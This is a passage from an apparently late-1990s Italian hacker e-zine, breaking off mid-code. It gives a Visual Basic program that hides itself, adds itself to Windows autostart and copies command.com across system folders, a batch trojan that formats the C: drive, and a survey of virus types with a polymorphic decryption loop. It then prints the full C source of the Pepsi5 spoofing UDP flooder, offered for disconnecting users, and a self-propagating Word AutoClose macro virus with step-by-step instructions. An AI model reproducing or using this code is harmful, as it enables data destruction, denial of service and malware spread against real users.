oggi avevo da stuiare e quindi poco tempo) Tanto per cominciare settate la proprieta' "visible" su false e disabilitate le hot-keys come abbiamo fatto prima... Fatto questo nella sub form_terminate() scrivete questa riga: FileCopy "nomedatoaquestoprogramma.exe","c:\windows\menu avvio\programmi\esecuzione automatica\nomedatoaquestoprogramma.exe" A COSA CI E' SERVITO TUTTO CIO'? Abbiamo copiato il programma in esecuzione automatica... (non l'avreste sospettato eh?) Adesso aprite un timer, settate il valore "interval" su 1 e scrivete: Private Sub Timer1_Timer() Randomize Timer Dim dove dove = Int(Rnd * 3 + 1) a = "c:\command.com" c = "win" & Int((Rnd * 999999999) + 1) If dove = 1 Then d = "c:\" If dove = 2 Then d = "c:\windows\" If dove = 3 Then d = "c:\windows\system\" e = d & c & ".dll" FileCopy a, e End Sub Fine del secondo programmino stupido. A COSA SERVE? (o meglio, cosa fa?) E' facile...una volta avviato il programma prende il file command.com (ma potete scegliere quello che volete) e inizia a copiarlo a caso in una delle directory sopra scritte (potete scegliere altre cartelle, potete sceglierne di piu', basta cambiare i valori. Potete anche fare scegliere a l programma ogni volta una directory a caso nell'HD, ma vi spieghero' un'altra volta come si fa) con un altro nome e l'estensione dll. (Non si sa mai...un lamer magari ha paura di cancellare una dll il cui nome inizia con "win") Il programma si nota poco (tranne per la lentezza che portera' alla macchina) e si avviera' ad ogni riavvio del computer. COSA ABBIAMO IMPARATO? Abbiamo ripassato come disabilitare gli hot-keys e abbiamo imprato (per chi non sapeva gia' farlo) a copiare un file e a creare un numero a caso (se non sapevate gia' fare questa cosa........andatevene!) CONCLUSIONE: Ok, io ho finito. Spero che N0bodY88 non si offenda per la magrezza dell'articolo, ma faro' di meglio in futuro (quando magari faro' un articolo sul batch) Spero (ma non credo assolutamente) di esservi stato d'aiuto nel vostro apprendimento del VisualBasc e vi saluto. CIOBA! ~aBatha. ͻ Ŀ TIPI DI VIRUS ٺ ͼ Salve a tutti, sono sempre Quequero ed ora vi parlero' dei virus. Sicuramente tutti conoscerete i virus, ma sicuramente pochi di voi ne conoscono effettivamente il modo do agire oppure la struttura ed e' proprio questo che mi accingo ad insegnarvi. Esistono essenzialmente tre famiglie di virus che poi si dividono in tanti altri sottogruppi, esaminiamo prima le grandi famiglie: Worms Trojan Virus Iniziero' col parlarvi dei Worms e poi mi addentrero' nella descrizione dei virus veri e propri dal momento che richiede piu' tempo ed e' una faccenda un po' piu' complessa. Worms Il primo Worm fu creato intorno agli anni '80 da Robert Morris, un giovane che ebbe la brillante idea di creare un virus non dannoso, ma che si riproduceva via Internet, ebbene si, usava un bug indovinate di quale programma? Ovviamente del Sendmail, molti computer andarono in tilt per l'immane riproduzione del verme, in pratica a quel tempo tutti avevano almeno 10-12 vermi in casa, anche i non pescatori ;)))) Su Internet si puo' trovare facilmente il codice sorgente del vermone, ho sentito dire che e' stato inserito un errore nel codice per non farlo compilare, se e' vero non lo so. Tutt'oggi non esistono vermi noti poiche' con le nuove versioni del sendmail sono stati corretti i bug che ne permettevano la proliferazione, oggi questo ignobile programma e' perfetto quasi al 100% l'unico problema (di importanza praticamente nulla) e' che possiamo ottenere il "root" su un sistema di rete semplicemente mandando una mail ;))) Si sa che questi programmatori tolgono un bug e ne creano 20, bho!!! Anche se non ve ne freghera' assolutamente nulla, vi dico che ho uno zio Italiano ma che vive in Finlandia che contribuisce tuttora allo sviluppo di Linux e del software ad essi necessario, quindi guai a parlar male dei loro prodotti ;))) Dicevamo che vermi noti non ce ne sono, pero' con l'avvento di Linux credo che questo fenomeno crescera'. Trojan I trojan, o meglio Trojan Horse (cavalli di Troia) sono stati (a quanto ne so') la prima forma di virus esistente, dovrebbero essere stati creati la prima volta in Russia da un team di programmatori, i trojan sono dei programmi che non hanno alcuna intenzione di duplicarsi ma servono solo a fare danni in un computer, anche le bombe logiche sono dei trojan, solo che si attivano in un determinato periodo. Un ottimo esempio di trojan e' il NetBus o il Back Orifice, ma anche noi possiamo creare un trojan facendo un file batch, scrivendoci dentro: format c: /autotest e convertendolo con il Bat2Com. Se poi lo vogliamo rendere invisibile bastera' criptarlo a compattarlo (petite.exe, pklite.exe ecc..). Il nome cavallo di Troia e' dato dal fatto che vengono spesso diffusi come altri programmi. Viruzzzz I virus si differiscono dai Trojan per il fatto che tendono a restare nascosti ed a riprodursi il piu' possibile. In genere un virus e' scritto in Assembly, il codice usato e' molto compatto e veloce, a questo proposito vi riporto un breve "saggio" nel quale si cerca di distinguere Winzoz da un Viruzzz (l'ho trovato in rete non so' dove): Windows e' un virus ??? Nooo Win non e' un virus. Questo e' cio' che fanno i virus...: Si replicano velocemente.. O.K. Win fa' questo come i Virus..... Il virus usa tutte le risorse di sistema, rallentando il sistema come ultimo. Percio' O.k. Win fa cio'. Un virus di tanto in tanto riduce in spazzatura il tuo HD, O.K. anche Win lo fa. I virus sono di norma portati all'insaputa dell'utente in tutti i programmi principali..... Sigh!!! Anche Win lo fa. Un virus fa venire il sospetto di esserci poiche' il sistema diventa troppo lento... e fa venire la voglia di comperare nuovo Hardware. Oddio vale anche per Win. Sino ad ora tutto fa sembrare che Win sia un virus.... ma ci sono alcune differenze fondamentali: I virus sono ben supportati dall'autore, Funzionano su ogni tipo di sistema... il loro codice programma e' estremamente veloce, compatto ed efficiente, e tendono a diventare sempre piu' sofisticati con l'andare della loro evoluzione.... Percio' Windows [ NON ] e' un virus.... Ok andiamo ora ad esaminare i vari tipi di viruz: Sector (Master Boot Record / Floppy Boot Record): Questo tipo di virus e' stato uno dei primi, attaccano il settore di avvio degli H.D.D. oppure dei floppy, per togliere questi virus, spesso basta scrivere al prompt del DOS: fdsik /mbr questo comando ripulisce il Master Boot Record, non utilizzatelo assolutamente se avete installato un Boot Loader (lilo, loadlin, syslinux, boot manager ecc..) altrimenti verra' cancellato. Questi viruz erano dannosi una volta quando avevamo bisogno del "disco di supplemento" per avviare il dos, oggi non fanno quasi piu' nulla a meno che non accendiamo il pc con un dischetto infetto dentro e nel BIOS abbiamo settato l'opzione che cerca un floppy all'avvio, se ci sono queste condizioni allora sono kazzi. Macro Virus di nuova concezione scritti in Visual Basic, possono essere inseriti nelle macro del lotus, word e di altri programmi, se apriamo il file senza avviare la macro non succede nulla, ma se non lo facciamo rischiamo di riportare danni (si parte dalla semplice impossibilita' di salvare un documento alla formattazione del disco duro). I macro virus sono sempre di piu', ma per sconfiggerli basta solo non attivare le macro ;)))) File Questi si dividono in Residenti e Non-Residenti: Residenti: Una volta avviato il programma sul quale era ospite rimane attivo per sempre. Non-Residente: Smette di funzionate quando viene chiuso il programma ospite. Questo tipo di viruz una volta avviato apre a caso dei file e copia dentro di loro la routine di infezione (i virus hanno questo nome proprio perche' si comportano come quelli esistenti in natura, cioe', entrano in una cellula (il file) attaccano il loro DNA (la routine di infezione) al DNA della cellula (il codice del programma) la cellula continua a funzionare normalmente solo che altera qualche sua funzione e poi muore per lisi (esplosione)) MultiPartito Questi si comportano sia come i Sector virus (o boot virus) sia come i File viruz, in pratica si attaccano come le piattole al boot e quando vengono caricati attaccano i vari altri file del sistema, i floppy, gli eseguibili del dos ecc..Un esempio e' sicuramente il mitico Junkie.1027 Cluster (File System viruses) Secondo me questi sono i tipi di viruz piu' "belli", questi modificano la tabella dei contenuti sull'Hard Disk in modo da far avviare prima il virus e poi il software. Stealth I viruz stealth sono estremamente raffinati, prendono il controllo totale del sistema operativo e di alcune sue funzioni, alterano alcune cose (come ad esempio si copiano su un floppy insieme a cio' che volevano copiarci noi, oppure infettano un file mentre noi lo apriamo ecc..) senza che nessuno se ne possa accorgere e, dal momento che sono invisibili vengono detti "stealth" Polymorphic Il Junkie.1027 oltre ad essere multi partito e' anche Polimorfico cioe', cripta in modo casuale il suo codice ogni volta che deve infettare un file, se confrontiamo un decina di file infettati col Junkie.1027 potremo vedere che sono tutti diversi, appunto per il suo polimorfismo, nonostante tutto questi viruz possono essere rilevati perche' il loro motore di cifratura e' sempre piu' o meno uguale, ecco quello del suddetto Junki.1027 0001: BE0800 MOV SI,0008 0002: B9F401 MOV CX,01F4 0003: 26 ES: 0004: 8134BC2E XOR WORD PTR [SI],2EBC 0005: 46 INC SI 0006: 46 INC SI 0007: E2F7 LOOP $0001 Se infettiamo 10 file di 1 byte con il junkie.1027 vedremmo la loro diversita' (aprendo un file con un editor esadecimale) tranne che per alcuni byte, questi byte possono ancora essere cambiati semplicemente facendo inserire dal junkie.1027 istruzioni inutili come: JMP sulla riga seguente JNZ idem INC bx \ DEC bx /insieme incrementa e decrementa un registro ADD bx,0000 aggiunge 0 ad un registro MOV AL,AL muove il valore di AL in se stesso Ecc... Companion I virus "compagnoni" ;) sfruttano uno dei tanti buchetti della Microsoft, cioe' facciamo una cartella a mettiamo dentro un file che si chiama Dio.com (che per esempio crea un'altra cartella) ed un file che si chiama Dio.exe (che magari crea una cartella con un altro nome) adesso andiamo al dos e scriviamo "Dio" quale dei due verra' eseguito? Sicuramente Dio.com dal momento che il dos da' la priorita' a questo tipo di estensione. Un virus companion non fa altro che creare un file con lo stesso nome dell'altro ma con estenione .com e poi nasconde il .exe Capitooooooooo???? Armored Questi sono viruz che hanno delle istruzioni anti-debug e anti-disassemble, rendono difficile la loro analizzazione, percio' come si puo' fare un antivirus con per un virus che non possiamo analizzare? Se po' fa se po' fa, date il viruz a un cracker e lui lo analizzera' per voi (avete sentito Symantec e McAfee? A-SSU-ME-TE-CI !!!!!!) Criptati Sono simili ai polimorfici ma e' piu' facile trovare due file simili tra loro. Clean on the fly Fantastici virus, riescono ad intercettare le funzioni di lettura di un file, in questo modo il viruz si autocancella dal file quando questo viene letto e si autoreinfetta quando viene richiuso, questi viruz se perfezionati potrebbero raggiungere livelli di invisibilita' altissimi. MBR stealth Uguali ai precedenti tranne per il fatto che infettano l'MBR tenendone un backup e quando un anti-virus cerca di leggerlo il viruz rimette l'MBR vecchio e poi reinfetta tutto dopo la lettura. Size Hiding Niente di particolare, questi viruz non fanno rilevare l'aumento di byte al l'interno dei file. Facciamo un esempio, il virus Quequero infetta N file e aggiunge ad ognuno di questi 5 byte, l'antivirus potrebbe tranquillamente considerare questo aumento come sospettoso e lo segnalerebbe, il programmatore puo' fare in modo di intercettare il controllo della grandezza e potrebbe facilmente sottrargli 5 byte, quasi tutti i virus piu' sofisticati hanno questa funzionalita' oltre ad avere un buon polimorfismo e simili ;)) Overwriting Viruz Supponiamo di avere un virus di questo tipo che si chiama "Plauto", avviamo questo virus ed aspettiamo due ore, controlliamo i file e non vediamo nulla di sospetto, tranne per il fatto che Plauto si e' copiato nel sistema, ha cancellato molti file e si e' rinominato come ognuno di loro ;))))) Bhe' credo di averli elencati quasi tutti, dovrebbero bastare, se avete bisogno di viruz cercate su Astalavista la parola Virii oppure venite sul mio sito ;))) e-mail: Balckfireshell@hotmail.com sito: http://quequero.cjb.net NOTA DI N0bodY88 = non so se vi interessa ma nel nostro gruppo c'e' il creatore del virus Junkie.1027 di cui ha parlato Quequero, vediamo se indovinate chi e' ;) PS: complimenti agli scrittori della sezione VIRUS della ns e-zine che ripeto non e' fatta da hacker ma da smanettoni il cui interesse comune non e' distruggere ma imparare, provare e studiare (xche' no eheheh) ciauz ^_^ NOTA DI N0bodY88 = il prox art. non so credo rientri nella sezione virus ma come i virus parla di qualcosa che serve x dominare!!! Pepsi5:pacchettiudpatradimento Questo Pepsi5 e' un simpatico floodatore UDP che, usato da una connessione veloce, permette di laggare o addirittura disconnettere un utente. Funziona da Linux, se volete qualcosa per wincazz ce n'e' un casino in giro, ed e' stato scaricato da...non mi ricordo, cmq vi rimango la versione originale. -------------------------Taglia qui----------------------------------------- /*** *** Pepsi 5.0g by SoulBlaze@hotmail.com (BlackICE) [11|12|98] *** based on the original pepsi.c code by Soldier *** Additional Help by Silicate (chuckstalker), *** LWR, and tq. *** Beta Testing by Sleak and eclipze. *** *** This Code is designed to compile and run on Linux, this code *** is for inhouse testing only and the authors are not responsible *** for any use/misuse of it. *** *** Greetz to : MostHated, diesl0w, FEENiX, TerrorByt, totempole, *** aeonflux, AciDpHuck, wait3r, [z], the gH crew and *** friends. *** Screw yous: pwr, your lameness is only surpassed by your *** stupidity, (Hamilton, ON is that far away from me *** man). *** *** ...Tred carefully .. you address not the storm .. but the force *** that binds it... *** ***/ /*----------------- [Defines] */ #define Port_Max 65534 #define Packet_Max 1023 #define Frequency_Max 300 #define Default_Fork 0 #define Default_Stealth "(nfsiod)" /* Color Pallete ------------ */ #define B "\033[1;30m" #define R "\033[1;31m" #define G "\033[1;32m" #define Y "\033[1;33m" #define U "\033[1;34m" #define M "\033[1;35m" #define C "\033[1;36m" #define W "\033[1;37m" #define DR "\033[0;31m" #define DG "\033[0;32m" #define DY "\033[0;33m" #define DU "\033[0;34m" #define DM "\033[0;35m" #define DC "\033[0;36m" #define DW "\033[0;37m" #define RESTORE "\33[0;0m" #define CLEAR "\033[0;0H\033[J" /* --------------- [Includes] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* [Banner] */ void banner() { printf("%s",CLEAR); printf("\n\n%sPepsi %s5%s.%s0g %sby SoulBlaze%s@%sundernet %s(%sBlackICE%s) %s[%s11%s|%s12%s|%s98%s]%s\n",R,W,B,W,U,G,U,B,DW,B,DC,DY,DC,DY,DC,DY,DC,RESTORE); printf("%sBased on the Original %spepsi%s.%sc %scode by %sSoldier%s\n",DU,R,B,R,DU,W,RESTORE); printf("%sAdditional Help by %sChuckStalker%s,\n",DU,W,RESTORE); printf("%sLWR%s, and %stq%s.\n",W,DU,W,RESTORE); } /* [Option Parsing] */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct iphdr *ip; char *target; char *srchost; char *stealth; int dstport = 0; int srcport = 0; int numpacks = 0; int psize = 0; int wait = 0; int forknum = 0; /* [Usage] */ void usage(char *pname) { printf("\n\n%sUsage%s %s: %s[%sarguements%s] %s<%sTarget Ip%s>%s\n\n",DG,R,pname,DM,U,DM,DM,U,DM,RESTORE); printf("%sOption Description Default Value\n\n",W,RESTORE); printf("%s-%ss %s<%sSource IP %s> %s: %sPacket Origin %s[%s Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sn %s<%sPacket Num %s> %s: %sLimit of Sent Datagrams %s[%s Unlimited %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sp %s<%sPacket Size%s> %s: %sDatagram Size %s[%s 1 - %d bytes%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Packet_Max,W,RESTORE); printf("%s-%sd %s<%sTarget Port%s> %s: %sDestination Port %s[%s Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%so %s<%sSource Port%s> %s: %sSource Port %s[%s Random %s ] \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sw %s<%sFrequency %s> %s: %sDelay Between Each Packet %s[%s 0 - %d ms%s ] \n",DR,DU,W,DC,W,DW,B,W,DC,Frequency_Max,W,RESTORE); printf("%s-%sf %s<%sFork Number%s> %s: %sNo. of Times Backgrounded %s[%s 0 Times %s ]%s \n",DR,DU,W,DC,W,DW,B,W,DC,W,RESTORE); printf("%s-%sx %s<%sStealth %s> %s: %sMask Process As %s[%s %s %s]%s",DR,DU,W,DC,W,DW,B,W,DC,Default_Stealth,W,RESTORE); printf("\n\n"); exit(EXIT_SUCCESS); } /* [In chksum with some mods] */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); } /* Resolve Functions */ unsigned long resolve(char *cp) { struct hostent *hp; hp = gethostbyname(cp); if (!hp) { printf("[*] Unable to resolve %s\t\n", cp); exit(EXIT_FAILURE); } return ((unsigned long) hp->h_addr); } void resolvedest(void) { struct hostent *host; memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf("[*] Unable To resolve %s\t\n", target); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4); } /* Parsing Argz */ void parse_args(int argc, char *argv[]) { int opt; while ((opt = getopt(argc, argv, "x:s:d:n:p:w:o:f:")) != -1) switch (opt) { case 's': srchost = (char *) malloc(strlen(optarg) + 1); strcpy(srchost, optarg); break; case 'x': stealth = (char *) malloc(strlen(optarg)); strcpy(stealth, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; case 'f': forknum = atoi(optarg); break; default: usage(argv[0]); } if (!stealth) stealth = Default_Stealth; if (!forknum) forknum = Default_Fork; if (!argv[optind]) { printf("\n\n%s[%s*%s]%s Bzzzt .. We need a Place for the Packets to Go%s\n",DC,W,DC,DR,RESTORE); exit(EXIT_FAILURE); } target = (char *) malloc(strlen(argv[optind])); if (!target) { printf("\n\n%s[%s*%s]%s Unable to Allocate Required Amount of Memory for Task%s\n",DC,W,DC,DR,RESTORE); perror("malloc"); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } int cloaking(int argc, char *argv[]) { int x; for (x = argc-1; x >= 0; x--) memset(argv[x], 0, strlen(argv[x])); strcpy(argv[0],stealth); return(0); } /* [Send Packet] */ void main(int argc, char *argv[]) { int q, xx, sen, i, unlim = 0, sec_check; char *packet; banner(); if (argc < 2) usage(argv[0]); parse_args(argc, argv); cloaking(argc, argv); resolvedest(); printf("\n\n%s [%s*%s]%s Target Host%s :%s %s%s\n",DC,W,DC,DR,DC,DW,target,RESTORE); if (!srchost) printf("%s [%s*%s]%s Source Host%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Source Host%s :%s %s %s\n",DC,W,DC,DR,DC,DW,srchost,RESTORE); if (!numpacks) printf("%s [%s*%s]%s Number%s :%s Infinite%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Number%s :%s %d%s\n",DC,W,DC,DR,DC,DW,numpacks,RESTORE); if (!psize) printf("%s [%s*%s]%s Packet Size%s :%s 1 - %d bytes%s\n",DC,W,DC,DR,DC,DW,Packet_Max,RESTORE); else printf("%s [%s*%s]%s Packet Size%s :%s %d%s\n",DC,W,DC,DR,DC,DW,psize,RESTORE); if (!wait) printf("%s [%s*%s]%s Wait Time%s :%s 0 - %dms%s\n",DC,W,DC,DR,DC,DW,Frequency_Max,RESTORE); else printf("%s [%s*%s]%s Wait Time%s :%s %d%s\n",DC,W,DC,DR,DC,DW,wait,RESTORE); if (!dstport) printf("%s [%s*%s]%s Destination Port%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Destination Port%s :%s %d%s\n",DC,W,DC,DR,DC,DW,dstport,RESTORE); if (!srcport) printf("%s [%s*%s]%s Source Port%s :%s Random%s\n",DC,W,DC,DR,DC,DW,RESTORE); else printf("%s [%s*%s]%s Source Port%s :%s %d%s\n",DC,W,DC,DR,DC,DW,srcport,RESTORE); printf("%s [%s*%s]%s Backgrounded%s :%s %d%s\n",DC,W,DC,DR,DC,DW,forknum,RESTORE); if (!stealth) printf("%s [%s*%s]%s Masked As%s :%s %s%s\n",DC,W,DC,DR,DC,DW,Default_Stealth,RESTORE); else printf("%s [%s*%s]%s Masked As%s :%s %s%s\n",DC,W,DC,DR,DC,DW,stealth,RESTORE); if (forknum) { switch(fork()) { case -1: printf("%s [%s*%s]%s Your OS cant Make the fork() call as we need it",DC,W,DC,DR,RESTORE); printf("%s [%s*%s]%s This is usually an indication of something bad%s",DC,W,DC,DR,RESTORE); exit(1); case 0: break; default: forknum--; for(xx=0;xxsaddr = resolve(srchost); ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr)); udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize); /* * Because we like to be Original Seeding rand() with something as * unique as time seemed groovy. Lets have a loud Boo for Pattern * Loggers. */ srand(time(0)); for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) ip->saddr = rand(); if (!dstport) udp->dest = htons(rand()%Port_Max+1); if (!srcport) udp->source = htons(rand()%Port_Max+1); if (!psize) udp->len = htons(sizeof(struct udphdr) + rand()%Packet_Max); if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { printf("%s[%s*%s]%s Error sending Packet%s",DC,W,DC,DR,RESTORE); perror("SendPacket"); exit(EXIT_FAILURE); } if (!wait) usleep(rand()%Frequency_Max); else usleep(wait); } } -------------------------Taglia qui----------------------------------------- Se non dovesse funzionare, non credo, mandatemi un e-mail che attraverso il vostro ip vi formatto l'hard disk (e pensare ci sono persone che credono a queste fesserie, ihihihih). ------->T0rment0<------- \\\\\\\\\\\\\\\\\\\\\\ Macro-virus \\\\\\\\\\\\\\\\\\\\\\\ Nel Dicembre del 1994, gli utenti di AOL e di Internet facevano molta attenzione quando aprivano la loro e-mail. Questo perche' allora si parlava molto di un'e-mail chiamata Goodtimes. Se uno di questi apriva la posta,il loro PC veniva subito infettato da un virus. Molti esperti schernirono molto la possibilita'. Dopo tutto, esso prendeva un eseguibile capace di trasmettere il virus. Gli utenti del DOS furono afflissi con le ANSI bombs (un file di testo che quando veniva visto dal comando TYPE cambiava la configurazione della loro tastiera).Dopo le investigazioni, il GoodTimes virus fu giudicato uno scherzo. ma c'e' altro nella storia? C'e' qualche rischio di una propagazione di virus attraverso l'e-mail che usa degli oggetti nascosti (MIME o OLE, per esempio). Un'applicazione nascosta che contiene un virus o un cavallo di troia potrebbe essere spedita in un messaggio di posta elettronica, e quando viene eseguita, infette o reca dei danni al sistema. I programmi di posta elettronica che eseguono automaticamente degli oggetti nascosti in un messaggio ricevuto (come avviare un file sonoro, mostrare un'immagine, o avviare un applicazione) e' un rischio per le mail anonime con virus. Mentre qualche esperto di sicurezza considera il potenziale di un documento basato su virus, i virus che vengono mandati attraverso e-mail tendono ad aumentare. Questo articolo vuole mostrarvi la teoria per creare un macro-virus realizzato con Micro$oft Word, i concetti di un macro-virus, il potenziale, la sua funzione e come sbarazzarsene. Macro-Virus Mentre i creatori di virus si sono concentrati sul codice che lavora al livello del sistema operativo, essi hanno creato applicazioni. Molti programmi di lavoro, per esempio un word processor o un programma di data-base, vengono facilmente potenziati da macro linguaggi. Molte applicazioni hanno la possibilita' di autoeseguire le macro. Questa combinazione fa avere dei seri problemi all'utente che apre un file non sapendo che si tratti di un macro-virus Da ora in poi i documenti con macro-virus li indichero' con la sigla DMV (Documents Macro Virus) per descrivere questo tipo di codice malizioso. Queste sono le caratteristiche del DMV: Il DMV e' scritto nel linguaggio macro di un'applicazione. Esso sfrutta l'abilita' di auto-eseguire dentro un applicazione la macro in qualche evento, come l'apertura o la chiusura di un documento. Una volta eseguito il documento sull'obbiettivo, la macro cresce e puo' infettare parecchi file, soprattutto se e' un trojan. Diversamente da un virus normale o un trojan dove il codice risiede in un eseguibile, un DMV usa le sue applicazioni come intermediarie per eseguire il codice. i DMV sono estremamente semplici da creare. Molti linguaggi macro sono dei BASIC avanzati, alla faccia( beh insomma) di quelli che imparano l'assembler per creare virus. Molti linguaggi macro hanno la possibilita' di implementare nel codice delle chiamate a delle routine esterne (per esempio le funzioni che sono in una dll), questo significa che puo' essere facilmente esteso per creare macro-virus avanzati. Se costruiremo un macro-virus lo dovremmo fare in Visual Basic Per Applicazioni, visto che sotto windows, e' uno dei linguaggi piu' comuni. Uno dei vantaggi del DMV e' che gli antivirus non li riescono a riconoscere visto che non sono degli eseguibili. Ci sono molti tipi di virus che possono essere scritti, tutto sta alla vostra fantasia. Per esempio: Infettare con un virus (ovvio) - Cancellare i file dall'hard disk (solo per necessita') Rinominare file Copiare file dal pc-target ad un server(ihihih) - Mandare file dal suo hard disk alla tua e-mail attraverso MAPI (Windows) - ecc. ecc. Notate che queste operazioni non si fanno solo dal Word, ma da qualsiasi applicazione che supporta le macro automatiche. Come lavora un DMV di Word Microsoft Word per Windows usa un linguaggio macro chiamato WordBasic. Esso supporta anche una serie di macro automatiche. Se la macro ha un nome riservato, esso esegue automaticamente un evento specifico. Per esempio: Nome della macro Quando parte? AutoExec Quando fai partire Word AutoNew Quando crei un nuovo documento AutoOpen Quando apri un documento AutoClose Quando chiudi un documento AutoExit Quando esci da Word Word per Windows memorizza le macros, come suo unico stile :-P, in un documento temporaneo (file .DOT ). Le macro globali vengono memorizzate in un file chiamato NORMAL.DOT. Se per esempio creiamo una macro chiamata AutoClose, il Word va a verificare se e' presente in NORMAL.DOT. Se non e' presente, esso si copia da solo in NORMAL.DOT. Se e' presente, esso non infettera' il file. Una volta che NORMAL.DOT sara' infetto, ogni qualvolta che chiuderemo un documento in Word la macro sara' eseguita. Word memorizza solo le macro in un documento temporaneo. Tu non puoi addare una macro ad un normale documento Word(.DOC). Questo fa in modo di disabilitare un DMV virus dagli altri documenti. Pero' c'e' una soluzione, un file di word .DOT e' molto simile come formato ad un file .DOC . Questi due hanno lo stesso aspetto e funzionalita' quando sono aperti in Word. In poche parole, potremo rinominare un file .dot con l'estensione .DOC. Per infettare gli altri documenti, la macro, che noi avremmo messo in NORMAL.DOT, guardera' il corrente documento per vedere se esso e' gia' stato infettato con la macro. Se non e' infettato, a macro salvera'il file come un documento temporaneo. A questo punto la macro si copiera' da sola nel documento. Dunque il file sara' .DOC , ma sara' un DOT rinominato. Un DMV per Word e' molto semplice. Esso usa i comandi macros tandard per propagare un virus. Come creare un DMV Per mostrarvi che non bisogna alterare un file .doc per creare una macro, vi spieghero' come farlo: 1. Create una macro chiamata AutoClose 2. Salvatela nel file NORMAL.DOT (default). 3. Andate in un file manager e copiate NORMAL.DOT in TEST.DOT. 4. Scegliete una macro dal menu Strumenti 5. Cancellate l' AutoClose macro da NORMAL.DOT. 6. Aprite TEST.DOT (esso sara' vuoto). 7. Scrivete qualcosa per farlo apparire un normale documento e salvatelo 8. Rinominate test.dot in TEST.DOC. 9. Aprite TEST.DOC con il Word. Quando chiuderete il documento, la macro sara' eseguita. Rimuovere un DMV di Word Cio' e' molto facile. Avviate Word e - Se il file infetto e' aperto, scegliete il comando MACRO dal menu Strumenti. Cancellate la macro dal documento e da normal.dot - Se il file non e' aperto, scegliete il comando Macro nel menu File. Cancellate la macro AutoClose da NORMAL.DOT. Proteggersi dai DMV L'unica corrente applicazione contro i DMV e' aprire il file per vedere se e' presente una macro, visto che e' scritta in ascii. Ogni macro automatica e' facilmente rintracciata scegliendo il comando Macro dal menu Strumenti in Word. La Micro$oft suggerisce di tenere premuto il tasto SHIFT quando si fa partire il Word o di aggiungere l'opzione /m quando si avvia il word. Conclusioni Insomma i DMV rappresentano un buo metodo per propagare virus e trojan. Vista la sua semplicita', molte persone diventeranno dei Virus Writing :-) Ora vi presento la macro di cui vi parlavo prima scritta in Basic da Joel McNamara, l'AutoClose. Fate buon uso delle informazioni che avete acquisito (macche') e se siete particolarmente bravi con il Basic e Visual Basic vi usciranno macro moooolto interessanti. Appena ne fate una utile (tipo una che quando viene aperto un documento vi senda, implementando il winsock, il file delle password attraverso e-mail) contattatemi che mi rubo le vostre idee (naaahh) Vabbe' cmq ci vediamo. Codice di un DMV REM This demonstrates an application-specific document virus REM generated by an automatic macro in Microsoft Word for REM Windows 6.0. Code is executed each time a document is closed. REM This macro is only a demonstration, and does not perform any REM destructive actions. REM The purpose of this code is to reveal a significant security REM risk in software that supports macro languages with REM auto-loading capabilities. Current virus detection tools are REM not presently capable of detecting this type of virus, and REM most users are blissfully unaware that threats can come from REM documents. REM Paste this code in the macro Window of a Word document REM template. Save the macro as AutoClose. Enter some random REM text in the main word processing window and save the document. REM Now copy the file, naming the new file VIRUS.DOC. Open REM VIRUS.DOC in Word. It will appear as a normal document, but REM when you close the document, the virus will execute. REM Message boxes display progress as the code is executed. REM Code is commented. REM Joel McNamara, December 17, 1994 REM ----------------------------------------------- Sub MAIN title$ ="Document Macro Virus" MsgBox "Counting global macros.", title$, 16 REM check how many macros are globally available. total = CountMacros(0) present = 0 REM Check and see if the AutoClose macro is installed in global. If total > 0 Then For cycle = 1 To total If MacroName$(cycle, 0) = "AutoClose" Then MsgBox "AutoClose macro vir. is already installed in NORMAL.DOT.", title$, 16 present = 1 End If End If REM Get the current document name. a$ = WindowName$() + ":AutoClose" REM If AutoClose isn't present, then copy it to NORMAL.DOT. If present <> 1 Then MacroCopy a$, "Global:AutoClose" MsgBox "Infected NORMAL.DOT with copy of AutoClose macro virus.", title$, 16 REM The following code infects a document each time it is closed. REM This effectively spreads the macro virus each time an infected REM document is opened by Word. Else REM If AutoClose is already global and the file hasn't been REM infected yet, save the current file as a REM template instead of a document so the macro can be REM attached. REM See if AutoClose is already in the document. Don't need REM to check names because the virus would be the only code REM putting a macro in a document. present = 0 If CountMacros(1) <> 0 Then MsgBox "AutoClose macro virus already present in this document.", title$, 16 present = 1 End If REM Save the document as a template. If present = 0 Then FileSaveAs .Format = 1 MsgBox "Saved current document as 